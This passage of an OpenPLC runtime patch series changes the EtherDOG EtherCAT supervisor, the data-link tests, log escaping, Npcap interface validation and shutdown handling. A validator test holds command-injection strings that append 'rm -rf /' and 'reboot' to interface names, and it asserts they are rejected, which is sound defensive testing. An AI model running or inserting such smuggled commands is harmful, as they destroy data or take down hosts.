NULL); + TEST_ASSERT_NOT_NULL(reply); + TEST_ASSERT_EQUAL_size_t(BIG_REPLY, strlen(reply)); + free(reply); +} + +void test_call_times_out_without_reply(void) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_STREAM, 0, sv)); + lk.ctl_fd = sv[0]; + peer = sv[1]; + char *reply = NULL; + TEST_ASSERT_EQUAL_INT(-1, edl_call(&lk, "{\"command\":\"status\"}", &reply, 50)); + TEST_ASSERT_NULL(reply); +} + +/* --- data frames ------------------------------------------------------------------------- */ + +void test_recv_accepts_valid_input_frame(void) +{ + open_data_pair(0x1122334455667788ull); + uint8_t buf[EDL_FRAME_HEADER + 8]; + size_t n = make_frame(buf, 2, 0, 0x1122334455667788ull, 4, EDL_FLAG_VALID | EDL_FLAG_WKC_OK); + TEST_ASSERT_EQUAL_INT((int)n, (int)send(peer, buf, n, 0)); + + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + int master = -1; + uint8_t flags = 0; + const uint8_t *payload = NULL; + size_t len = 0; + TEST_ASSERT_EQUAL_INT(1, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + TEST_ASSERT_EQUAL_INT(0, master); + TEST_ASSERT_EQUAL_HEX8(EDL_FLAG_VALID | EDL_FLAG_WKC_OK, flags); + TEST_ASSERT_EQUAL_size_t(4, len); + TEST_ASSERT_EQUAL_HEX8(0xA0, payload[0]); + TEST_ASSERT_EQUAL_HEX8(0xA3, payload[3]); +} + +void test_recv_drops_bad_frames(void) +{ + open_data_pair(42); + uint8_t buf[EDL_FRAME_HEADER + 8]; + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + int master; + uint8_t flags; + const uint8_t *payload; + size_t len; + + size_t n = make_frame(buf, 2, 0, 43, 4, EDL_FLAG_VALID); /* wrong session */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 1, 0, 42, 4, EDL_FLAG_VALID); /* outputs kind */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 2, 0, 42, 4, EDL_FLAG_VALID); + buf[0] = 'X'; /* bad magic */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 2, 0, 42, 4, EDL_FLAG_VALID); + send(peer, buf, n - 1, 0); /* length does not match the header */ + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); + + n = make_frame(buf, 2, 1, 42, 4, EDL_FLAG_VALID); /* master with no session */ + send(peer, buf, n, 0); + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 100, &master, &flags, + &payload, &len)); +} + +void test_recv_times_out(void) +{ + open_data_pair(1); + uint8_t frame[EDL_FRAME_HEADER + EDL_MAX_PAYLOAD]; + int master; + uint8_t flags; + const uint8_t *payload; + size_t len; + TEST_ASSERT_EQUAL_INT(0, edl_recv_inputs(&lk, frame, sizeof(frame), 20, &master, &flags, + &payload, &len)); +} + +void test_send_outputs_encodes_header(void) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_DGRAM, 0, sv)); + lk.data_fd = sv[0]; + peer = sv[1]; + lk.open[0] = true; + lk.session[0] = 0xABCDull; + lk.server_len[0] = 0; /* connected pair: no destination needed */ + + const uint8_t out[3] = { 1, 2, 3 }; + TEST_ASSERT_EQUAL_INT(0, edl_send_outputs(&lk, 0, out, sizeof(out), true)); + uint8_t buf[64]; + ssize_t n = recv(peer, buf, sizeof(buf), 0); + TEST_ASSERT_EQUAL_INT(EDL_FRAME_HEADER + 3, (int)n); + TEST_ASSERT_EQUAL_MEMORY("EDOG", buf, 4); + TEST_ASSERT_EQUAL_UINT8(1, buf[5]); /* outputs */ + TEST_ASSERT_EQUAL_HEX8(EDL_FLAG_VALID, buf[7]); + TEST_ASSERT_EQUAL_HEX8(0xCD, buf[8]); + TEST_ASSERT_EQUAL_HEX8(0xAB, buf[9]); + TEST_ASSERT_EQUAL_UINT8(1, buf[16]); /* first sequence */ + TEST_ASSERT_EQUAL_UINT8(3, buf[20]); + TEST_ASSERT_EQUAL_MEMORY(out, buf + EDL_FRAME_HEADER, 3); + + TEST_ASSERT_EQUAL_INT(-1, edl_send_outputs(&lk, 1, out, sizeof(out), true)); /* not open */ + TEST_ASSERT_EQUAL_INT(-1, edl_send_outputs(&lk, 0, out, EDL_MAX_PAYLOAD + 1, true)); +} diff --git a/webserver/app.py b/webserver/app.py index eaa43d97..e2906d9e 100644 --- a/webserver/app.py +++ b/webserver/app.py @@ -338,6 +338,11 @@ def stage_project_snapshot() -> str: return "" +# First versions that split the EtherCAT configuration into busconfig and iomapping +ETHERDOG_MIN_RUNTIME_VERSION = "4.3.0" +ETHERDOG_MIN_EDITOR_VERSION = "4.3.2" + + def _upload_has_legacy_ethercat(zip_file, valid_files) -> bool: """True when the upload's conf/ethercat.json (pre-split format) describes EtherCAT masters.""" names = [ @@ -403,8 +408,9 @@ def handle_upload_file(data: dict) -> dict: return { "UploadFileFail": ( "This program was built with an Editor that writes the old EtherCAT " - "configuration (conf/ethercat.json). Rebuild it with an Editor that emits " - "ethercat_busconfig.json and ethercat_iomapping.json." + "configuration (conf/ethercat.json), which runtime " + f"{ETHERDOG_MIN_RUNTIME_VERSION} and newer no longer read. Rebuild it with " + f"OpenPLC Editor {ETHERDOG_MIN_EDITOR_VERSION} or newer." ), "CompilationStatus": build_state.status.name, } diff --git a/webserver/etherdog_manager.py b/webserver/etherdog_manager.py index e6ce37ca..afcaf600 100644 --- a/webserver/etherdog_manager.py +++ b/webserver/etherdog_manager.py @@ -3,8 +3,9 @@ """Supervises EtherDOG, the EtherCAT master service, and talks to it. -Starts it, hands it the bus configuration from the upload, and forwards commands. plc_main -reaches it through the session file written here (control endpoint + token). +Starts it, stages the bus configuration from an upload, and forwards commands. plc_main reaches +it through the session file written here (control endpoint, data transport, bus configuration); +the EtherCAT plugin loads that configuration and starts the bus together with the program. """ from __future__ import annotations @@ -12,7 +13,7 @@ import json import os import platform -import secrets +import signal import shutil import socket import subprocess @@ -38,7 +39,7 @@ MAX_RAPID_EXITS = 3 RAPID_EXIT_WINDOW_S = 30.0 READY_TIMEOUT_S = 10.0 -STALE_STOP_TIMEOUT_S = 5.0 +LEFTOVER_KILL_TIMEOUT_S = 5.0 OUTPUT_TAIL_LINES = 20 USAGE_ERROR_EXIT = 2 @@ -62,8 +63,7 @@ class EtherDogPaths: @property def control(self) -> str: - if IS_WINDOWS: - return "tcp:127.0.0.1:18444" + # EtherDOG checks the peer's uid on unix sockets, on Linux and MSYS2 alike return f"unix:{self.run_dir / 'etherdog.socket'}" @property @@ -74,10 +74,6 @@ def state_dir(self) -> Path: def session_file(self) -> Path: return self.run_dir / "etherdog.json" - @property - def token_file(self) -> Path: - return self.state_dir / "token" - def _connect(control: str, timeout: float) -> socket.socket: if control.startswith("unix:"): @@ -102,9 +98,9 @@ def __init__( self.paths = EtherDogPaths(binary=binary, run_dir=run_dir, busconfig=busconfig) # Same log server plc_main writes to, so EtherDOG's lines reach the runtime log stream. self.log_socket = log_socket or f"unix:{run_dir / 'log_runtime.socket'}" - self._token = "" self._process: subprocess.Popen[str] | None = None self._pump: threading.Thread | None = None + self._ready = False self._output: deque[str] = deque(maxlen=OUTPUT_TAIL_LINES) self._lock = threading.Lock() self._running = False @@ -147,6 +143,10 @@ def stop(self) -> None: proc.wait(timeout=10) except subprocess.TimeoutExpired: proc.kill() + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + logger.error("EtherDOG (pid %d) did not exit after SIGKILL", proc.pid) def _disable(self, reason: str) -> None: self._running = False @@ -157,40 +157,36 @@ def _disable(self, reason: str) -> None: except OSError as e: logger.error("Could not write the EtherDOG session file: %s", e) - def _saved_token(self) -> str | None: - try: - token = self.paths.token_file.read_text(encoding="utf-8").strip() - except OSError: - return None - return token if len(token) == 64 and all(c in "0123456789abcdef" for c in token) else None - def _write_session(self) -> None: self.paths.state_dir.mkdir(parents=True, exist_ok=True) os.chmod(self.paths.state_dir, 0o700) - # Kept across restarts so a leftover EtherDOG can still be told to shut down - self._token = self._saved_token() or secrets.token_hex(32) - _write_private(self.paths.token_file, self._token + "\n") session = { "control": self.paths.control, - "token": self._token, "data": "udp" if IS_WINDOWS else "unix", + "busconfig": str(self.paths.busconfig.resolve()), } _write_private(self.paths.session_file, json.dumps(session) + "\n") + def _kill_leftovers(self) -> None: + """Kill EtherDOG processes started from this binary by an earlier webserver; one would + hold the control socket and the network interface.""" + for pid in _processes_running(self.paths.binary): + logger.warning("Stopping a leftover EtherDOG (pid %d)", pid) + _terminate(pid, LEFTOVER_KILL_TIMEOUT_S) + def _spawn(self) -> bool: """Start the process. False when it cannot be executed at all.""" cmd = [ self.paths.binary, "--control", self.paths.control, - "--token-file", - str(self.paths.token_file), "--state-dir", str(self.paths.state_dir), "--log-socket", self.log_socket, ] self._output.clear() + self._ready = False try: self._write_session() self._process = subprocess.Popen( @@ -207,20 +203,23 @@ def _spawn(self) -> bool: self._pump = threading.Thread(target=self._pump_logs, args=(self._process,), daemon=True) self._pump.start() if self._wait_ready(timeout=READY_TIMEOUT_S): + self._ready = True logger.info("EtherDOG started (pid %d)", self._process.pid) - self._reapply_busconfig() elif self._process.poll() is None: logger.error("EtherDOG did not open its control socket in time") return True def _pump_logs(self, proc: subprocess.Popen[str]) -> None: - """Drain EtherDOG's stdout/stderr and keep the tail for exit diagnosis. Its log lines - already reach the log stream through the log socket.""" + """Drain EtherDOG's stdout/stderr and keep the tail for exit diagnosis. Once EtherDOG is + up its log lines arrive through the log socket; before that, errors are logged here.""" assert proc.stdout is not None for line in proc.stdout: line = line.rstrip() - if line: - self._output.append(line) + if not line: + continue + self._output.append(line) + if not self._ready and "[ERROR]" in line: + logger.error("%s", line.split("[ERROR] ", 1)[-1]) def _wait_ready(self, timeout: float) -> bool: deadline = time.monotonic() + timeout @@ -241,29 +240,8 @@ def _record_exit(self) -> bool: self._exit_times.append(now) return len(self._exit_times) >= MAX_RAPID_EXITS - def _stop_stale(self) -> None: - """Shut down an EtherDOG left running by an earlier webserver, which would otherwise hold - the control endpoint. Its token is still in the token file.""" - self._token = self._saved_token() or "" - if not self._token: - return - try: - self.command({"command": "shutdown"}, timeout=2.0) - except EtherDogUnavailable: - return - logger.warning("Stopped an EtherDOG left running by a previous webserver") - deadline = time.monotonic() + STALE_STOP_TIMEOUT_S - while time.monotonic() < deadline: - try: - with _connect(self.paths.control, 0.5): - pass - except OSError: - return - time.sleep(0.2) - logger.error("The previous EtherDOG did not exit; the new one may fail to start") - def _supervise(self) -> None: - self._stop_stale() + self._kill_leftovers() if not self._spawn(): return while self._running: @@ -309,7 +287,7 @@ def command(self, request: dict[str, Any], timeout: float = 10.0) -> dict[str, A with _connect(self.paths.control, timeout) as sock: sock.settimeout(timeout) reader = sock.makefile("r", encoding="utf-8") - hello = {"command": "hello", "params": {"token": self._token}} + hello = {"command": "hello"} sock.sendall(json.dumps(hello).encode() + b"\n") reply = json.loads(reader.readline() or "{}") if "error" in reply: @@ -336,7 +314,11 @@ def plugin_style_command(self, request: dict[str, Any], timeout: float) -> dict[ # --- bus configuration ----------------------------------------------------------------- def apply_busconfig(self, source: Path | None) -> None: - """Install the bus configuration from an upload (None removes it) and load it.""" + """Stage the bus configuration from an upload (None removes it) and stop the bus. + + The EtherCAT plugin loads the staged file and starts the bus when the new program + starts, so the bus never runs a configuration that belongs to another program. + """ with self._lock: if source is not None: self.paths.busconfig.parent.mkdir(parents=True, exist_ok=True) @@ -344,32 +326,19 @@ def apply_busconfig(self, source: Path | None) -> None: elif self.paths.busconfig.exists(): self.paths.busconfig.unlink() if self._running and self._process is not None and self._process.poll() is None: - self._configure_locked() + try: + result = self.command({"command": "stop"}, timeout=15.0) + except EtherDogUnavailable as e: + logger.error("Could not stop the EtherCAT bus for the upload: %s", e) + return + if "error" in result: + logger.error("EtherDOG could not stop the bus: %s", result["error"]) return # A new program gets a fresh start, as the PLC runtime does after safe mode if not self._running and self.installed: logger.info("Retrying EtherDOG for the new program") self.start() - def _reapply_busconfig(self) -> None: - with self._lock: - self._configure_locked() - - def _configure_locked(self) -> None: - path = self.paths.busconfig - params = {"path": str(path.resolve())} if path.exists() else {} - try: - # The bus belongs to the program being replaced; stop it before reconfiguring. - self.command({"command": "stop"}, timeout=15.0) - result = self.command({"command": "configure", "params": params}, timeout=15.0) - except EtherDogUnavailable as e: - logger.error("Could not configure EtherDOG: %s", e) - return - if "error" in result: - logger.error("EtherDOG rejected the bus configuration: %s", result["error"]) - elif params: - logger.info("EtherDOG bus configuration loaded from %s", path) - def _fatal_exit_reason(code: int, output: list[str]) -> str | None: """Why EtherDOG can never start as installed, or None when a restart may help.""" @@ -387,12 +356,54 @@ def _fatal_exit_reason(code: int, output: list[str]) -> str | None: return None +def _processes_running(binary: str) -> list[int]: + """PIDs of processes whose executable is @binary (Linux and MSYS2 both have /proc).""" + targets = {os.path.realpath(p) for p in (binary, binary + ".exe") if os.path.isfile(p)} + proc = Path("/proc") + if not targets or not proc.is_dir(): + return [] + pids = [] + for entry in proc.iterdir(): + if not entry.name.isdigit() or int(entry.name) == os.getpid(): + continue + try: + exe = os.readlink(entry / "exe") + except OSError: + continue + # An executable replaced by a reinstall shows up as " (deleted)" + exe = exe.removesuffix(" (deleted)") + if os.path.realpath(exe) in targets: + pids.append(int(entry.name)) + return pids + + +def _terminate(pid: int, timeout: float) -> None: + """SIGTERM, then SIGKILL once @timeout passes.""" + for sig in (signal.SIGTERM, signal.SIGKILL): + try: + os.kill(pid, sig) + except ProcessLookupError: + return + except PermissionError as e: + logger.error("Cannot stop process %d: %s", pid, e) + return + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + try: + os.kill(pid, 0) + except ProcessLookupError: + return + time.sleep(0.1) + logger.error("Process %d did not exit", pid) + + def _write_private(path: Path, text: str) -> None: path.parent.mkdir(parents=True, exist_ok=True) - fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC | getattr(os, "O_NOFOLLOW", 0) + fd = os.open(str(path), flags, 0o600) + os.fchmod(fd, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(text) - os.chmod(path, 0o600) def legacy_ethercat_config_in_use(conf_dir: Path) -> bool: From b5ba9ab5db5d3819c25420d45c043b7ba8fd927d Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 16:19:57 -0400 Subject: [PATCH 12/22] fix(log): escape messages in the JSON log line and bound its length A quote in a message made the line invalid JSON, so the webserver showed it raw at INFO; a message longer than the buffer moved the write past its end. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- core/src/plc_app/utils/log.c | 30 +++++++++++++++++++++++++----- 1 file changed, 25 insertions(+), 5 deletions(-) diff --git a/core/src/plc_app/utils/log.c b/core/src/plc_app/utils/log.c index 0a235e0a..c3747446 100644 --- a/core/src/plc_app/utils/log.c +++ b/core/src/plc_app/utils/log.c @@ -172,11 +172,31 @@ static void log_write(LogLevel level, const char *fmt, va_list args) va_end(args_copy); } - // Format the log message in JSON format - int n = - snprintf(log_msg, sizeof(log_msg), "{\"timestamp\":\"%ld\",\"level\":\"%s\",\"message\":\"", - (long)now, level_to_str(level)); - n += vsnprintf(log_msg + n, sizeof(log_msg) - n, fmt, args); + // Format the log message in JSON format; the message is escaped so quotes cannot break it + char text[LOG_MESSAGE_SIZE]; + vsnprintf(text, sizeof(text), fmt, args); + int head = snprintf(log_msg, sizeof(log_msg), + "{\"timestamp\":\"%ld\",\"level\":\"%s\",\"message\":\"", (long)now, + level_to_str(level)); + size_t n = head > 0 ? (size_t)head : 0; + const size_t tail = sizeof("\"}\n"); + for (const char *c = text; *c != '\0' && n + tail + 6 < sizeof(log_msg); c++) + { + unsigned char ch = (unsigned char)*c; + if (ch == '"' || ch == '\\') + { + log_msg[n++] = '\\'; + log_msg[n++] = (char)ch; + } + else if (ch < 0x20) + { + n += (size_t)snprintf(log_msg + n, sizeof(log_msg) - n, "\\u%04x", ch); + } + else + { + log_msg[n++] = (char)ch; + } + } snprintf(log_msg + n, sizeof(log_msg) - n, "\"}\n"); // Send to unix socket if connected From 2aced7501fc12b4c261f0c8bf20abe72471e9841 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 16:32:39 -0400 Subject: [PATCH 13/22] fix(discovery): accept Npcap device paths as interface names Every Windows adapter is \\Device\\NPF_{GUID}, so the Linux-only 15-char check refused all EtherCAT scans and tests on Windows. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- tests/pytest/discovery/test_etherdog_manager.py | 11 +++++++++++ webserver/discovery/ethercat_discovery.py | 4 ++++ 2 files changed, 15 insertions(+) diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py index 26a21a67..14884ce0 100644 --- a/tests/pytest/discovery/test_etherdog_manager.py +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -300,3 +300,14 @@ def test_clean_exit_is_not_restarted(run_dir: Path) -> None: time.sleep(0.5) assert _launches(run_dir) == 1 assert manager.disabled_reason is None + + +def test_interface_names_accept_linux_and_npcap_devices() -> None: + from webserver.discovery.ethercat_discovery import _validate_interface_name + + assert _validate_interface_name("eth0")[0] + assert _validate_interface_name(r"\Device\NPF_{4815A5BB-BD8C-401C-8C2F-A81AFDD6EC0D}")[0] + assert _validate_interface_name(r"\Device\NPF_Loopback")[0] + assert not _validate_interface_name(r"\Device\NPF_{x}; rm -rf /")[0] + assert not _validate_interface_name("a" * 16)[0] + assert not _validate_interface_name("eth0;reboot")[0] diff --git a/webserver/discovery/ethercat_discovery.py b/webserver/discovery/ethercat_discovery.py index 9671dc75..bb390875 100644 --- a/webserver/discovery/ethercat_discovery.py +++ b/webserver/discovery/ethercat_discovery.py @@ -17,6 +17,8 @@ # Linux interface names: eth0, enp3s0, eno1, wlan0, br-docker0, veth123abc INTERFACE_NAME_PATTERN = re.compile(r"^[a-zA-Z][a-zA-Z0-9_-]*$") MAX_INTERFACE_NAME_LENGTH = 15 # IFNAMSIZ - 1 +# Windows (Npcap) device paths: \Device\NPF_{GUID} or \Device\NPF_Loopback +NPF_DEVICE_PATTERN = re.compile(r"^\\Device\\NPF_(\{[0-9A-Fa-f-]{36}\}|Loopback)$") class DiscoveryStatus(str, Enum): @@ -69,6 +71,8 @@ def _validate_interface_name(interface: str) -> tuple[bool, str]: """ if not interface: return False, "Interface name cannot be empty" + if NPF_DEVICE_PATTERN.match(interface): + return True, "" if len(interface) > MAX_INTERFACE_NAME_LENGTH: return False, f"Interface name too long (max {MAX_INTERFACE_NAME_LENGTH} chars)" if not INTERFACE_NAME_PATTERN.match(interface): From d3293e0bf7c5a641307bd29d905670cb7147c5b2 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 16:50:29 -0400 Subject: [PATCH 14/22] fix(webserver): shut down cleanly on SIGTERM and SIGHUP The start scripts ran Python as a child, so docker stop and a closed console never reached it and EtherDOG was killed without zeroing the outputs. exec the webserver and give SIGTERM/SIGHUP the Ctrl+C shutdown path. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- start_openplc.sh | 5 +++-- webserver/app.py | 11 +++++++++++ windows/StartOpenPLC.bat | 2 +- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/start_openplc.sh b/start_openplc.sh index e5b715d5..60307e35 100755 --- a/start_openplc.sh +++ b/start_openplc.sh @@ -209,5 +209,6 @@ setup_plugin_venvs() { setup_plugin_venvs setup_runtime_venv -# Start the PLC webserver (forward all arguments) -"$OPENPLC_DIR/venvs/runtime/bin/python3" -m "webserver.app" "$@" +# Start the PLC webserver (forward all arguments). exec, so SIGTERM (docker stop, systemd) +# reaches it and it can stop EtherDOG and plc_main cleanly. +exec "$OPENPLC_DIR/venvs/runtime/bin/python3" -m "webserver.app" "$@" diff --git a/webserver/app.py b/webserver/app.py index e2906d9e..bc852dbf 100644 --- a/webserver/app.py +++ b/webserver/app.py @@ -16,6 +16,7 @@ import os import platform import shutil +import signal import ssl import tempfile import threading @@ -542,7 +543,17 @@ def restapi_callback_post(argument: str, data: dict) -> dict: return handler(data) +def _stop_on_signal(signum: int, _frame: object) -> None: + # Same shutdown path as Ctrl+C, so EtherDOG zeroes the outputs and plc_main stops cleanly + signal.signal(signum, signal.SIG_IGN) # a repeat must not interrupt the cleanup + raise KeyboardInterrupt(f"signal {signum}") + + def run_https(): + for sig in (signal.SIGTERM, getattr(signal, "SIGHUP", None)): + if sig is not None: + signal.signal(sig, _stop_on_signal) + # rest api register app_restapi.register_blueprint(restapi_bp, url_prefix="/api") app_restapi.register_blueprint(discovery_bp) diff --git a/windows/StartOpenPLC.bat b/windows/StartOpenPLC.bat index 529f0904..0a4d15c4 100644 --- a/windows/StartOpenPLC.bat +++ b/windows/StartOpenPLC.bat @@ -46,7 +46,7 @@ if not exist "%MSYS2_ROOT%\run\runtime" ( ) REM Start the OpenPLC Runtime -"%MSYS2_ROOT%\usr\bin\bash.exe" -lc "cd '%OPENPLC_MSYS_PATH%' && ./venvs/runtime/bin/python3 -m webserver.app" +"%MSYS2_ROOT%\usr\bin\bash.exe" -lc "cd '%OPENPLC_MSYS_PATH%' && exec ./venvs/runtime/bin/python3 -m webserver.app" if %ERRORLEVEL% neq 0 ( echo. From b5430aec54af40571672805abfc43c921dcec5e5 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 18:25:10 -0400 Subject: [PATCH 15/22] chore(license): S7comm plugin sources under LGPLv3+, drop the GPL line in the driver README The S7comm plugin links Snap7 (LGPLv3+), so its sources take the same license instead of MIT. Review follow-up from #203. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- core/src/drivers/README.md | 2 +- core/src/drivers/plugins/native/s7comm/s7comm_config.c | 2 +- core/src/drivers/plugins/native/s7comm/s7comm_config.h | 2 +- core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp | 2 +- core/src/drivers/plugins/native/s7comm/s7comm_plugin.h | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/core/src/drivers/README.md b/core/src/drivers/README.md index b40adeb6..a3525be6 100644 --- a/core/src/drivers/README.md +++ b/core/src/drivers/README.md @@ -746,7 +746,7 @@ void plugin_driver_destroy(plugin_driver_t *driver); ## License -This plugin system is part of the OpenPLC Runtime project and follows the same licensing terms (typically GPLv3 or later). +This plugin system is part of the OpenPLC Runtime and is licensed under the MIT License (see the top-level `LICENSE`). Plugins can carry their own license: the S7comm plugin is LGPLv3 or later, matching the Snap7 library it links. ## Contributing diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_config.c b/core/src/drivers/plugins/native/s7comm/s7comm_config.c index b23f23b4..0d717053 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_config.c +++ b/core/src/drivers/plugins/native/s7comm/s7comm_config.c @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_config.h b/core/src/drivers/plugins/native/s7comm/s7comm_config.h index f36c9f14..7c84483c 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_config.h +++ b/core/src/drivers/plugins/native/s7comm/s7comm_config.h @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp index 522a316c..c402ff8d 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp +++ b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.cpp @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** diff --git a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h index e3b197ab..805998e8 100644 --- a/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h +++ b/core/src/drivers/plugins/native/s7comm/s7comm_plugin.h @@ -1,4 +1,4 @@ -// SPDX-License-Identifier: MIT +// SPDX-License-Identifier: LGPL-3.0-or-later // Copyright (c) 2026 Autonomy® /** From 933409a068f4f67a3fcd4e5800d68f935594d660 Mon Sep 17 00:00:00 2001 From: Thiago Alves Date: Thu, 24 Sep 2026 20:51:51 -0400 Subject: [PATCH 16/22] feat(ethercat): 2048 mapped entries per master; journal capacity 40960 The EtherCAT relay journals every mapped input each bus cycle, so 2048 inputs per master needed room beside the other plugins. Drain cost follows the writes made, not the capacity (measured: same per-entry cost at 4096 and 40960); the journal grows from 139 KB to 1.4 MB. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01V8oSX7QRK2xfkLVepyMs58 --- .../plugins/native/ethercat/ethercat_iomap.h | 2 +- core/src/plc_app/journal_buffer.h | 2 +- docs/JOURNAL_BUFFER_ARCHITECTURE.md | 4 ++-- tests/test_ethercat_iomap.c | 24 +++++++++++++++++++ 4 files changed, 28 insertions(+), 4 deletions(-) diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h index f69ed62a..cdde5a4c 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.h @@ -22,7 +22,7 @@ #include "plugin_types.h" #define ECAT_IOMAP_MAX_MASTERS 4 -#define ECAT_IOMAP_MAX_ENTRIES 512 +#define ECAT_IOMAP_MAX_ENTRIES 2048 #define ECAT_IOMAP_NAME_LEN 64 /** Highest byte index a location may use; the runtime's journal indexes are 16-bit. */ #define ECAT_IOMAP_MAX_BYTE_INDEX 65535 diff --git a/core/src/plc_app/journal_buffer.h b/core/src/plc_app/journal_buffer.h index 6fb50494..30c732e8 100644 --- a/core/src/plc_app/journal_buffer.h +++ b/core/src/plc_app/journal_buffer.h @@ -49,7 +49,7 @@ extern "C" { * triggers an emergency flush. Keep this large enough that overflow only * happens under genuine misconfiguration/overload. */ -#define JOURNAL_MAX_ENTRIES 4096 +#define JOURNAL_MAX_ENTRIES 40960 /** * @brief Buffer type enumeration for journal entries diff --git a/docs/JOURNAL_BUFFER_ARCHITECTURE.md b/docs/JOURNAL_BUFFER_ARCHITECTURE.md index 9f02af85..4cba0e3e 100644 --- a/docs/JOURNAL_BUFFER_ARCHITECTURE.md +++ b/docs/JOURNAL_BUFFER_ARCHITECTURE.md @@ -128,7 +128,7 @@ typedef enum { ### Static Journal Buffer ```c -#define JOURNAL_MAX_ENTRIES 1024 +#define JOURNAL_MAX_ENTRIES 40960 static journal_entry_t g_entries[JOURNAL_MAX_ENTRIES]; static size_t g_count = 0; @@ -441,7 +441,7 @@ Time 200ms: cycle_start - apply journal (seq 0-500) ### Throughput -- **Maximum writes per cycle**: 1024 (configurable via `JOURNAL_MAX_ENTRIES`) +- **Maximum writes per cycle**: 40960 (configurable via `JOURNAL_MAX_ENTRIES`); drain cost follows the writes actually made, not the capacity - **Emergency flush**: Handles overflow gracefully without data loss ## Implementation Phases diff --git a/tests/test_ethercat_iomap.c b/tests/test_ethercat_iomap.c index 9c5de126..33764480 100644 --- a/tests/test_ethercat_iomap.c +++ b/tests/test_ethercat_iomap.c @@ -247,3 +247,27 @@ void test_load_rejects_duplicate_master_names(void) TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); TEST_ASSERT_NOT_NULL(strstr(err, "used twice")); } + +static void write_mapping_with(int count) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":["); + for (int i = 0; i < count; i++) + fprintf(fp, "%s{\"slave\":1,\"index\":\"0x6000\",\"subindex\":%d,\"iec_location\":\"%%IW%d\"}", + i ? "," : "", i % 256, i); + fprintf(fp, "]}]}"); + fclose(fp); +} + +void test_load_accepts_the_entry_limit_and_rejects_one_more(void) +{ + char err[256]; + write_mapping_with(ECAT_IOMAP_MAX_ENTRIES); + TEST_ASSERT_EQUAL_INT_MESSAGE(0, ecat_iomap_load(TMPFILE, &map, err, sizeof(err)), err); + TEST_ASSERT_EQUAL_INT(2048, map.masters[0].entry_count); + + write_mapping_with(ECAT_IOMAP_MAX_ENTRIES + 1); + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "more than 2048 entries")); +} From 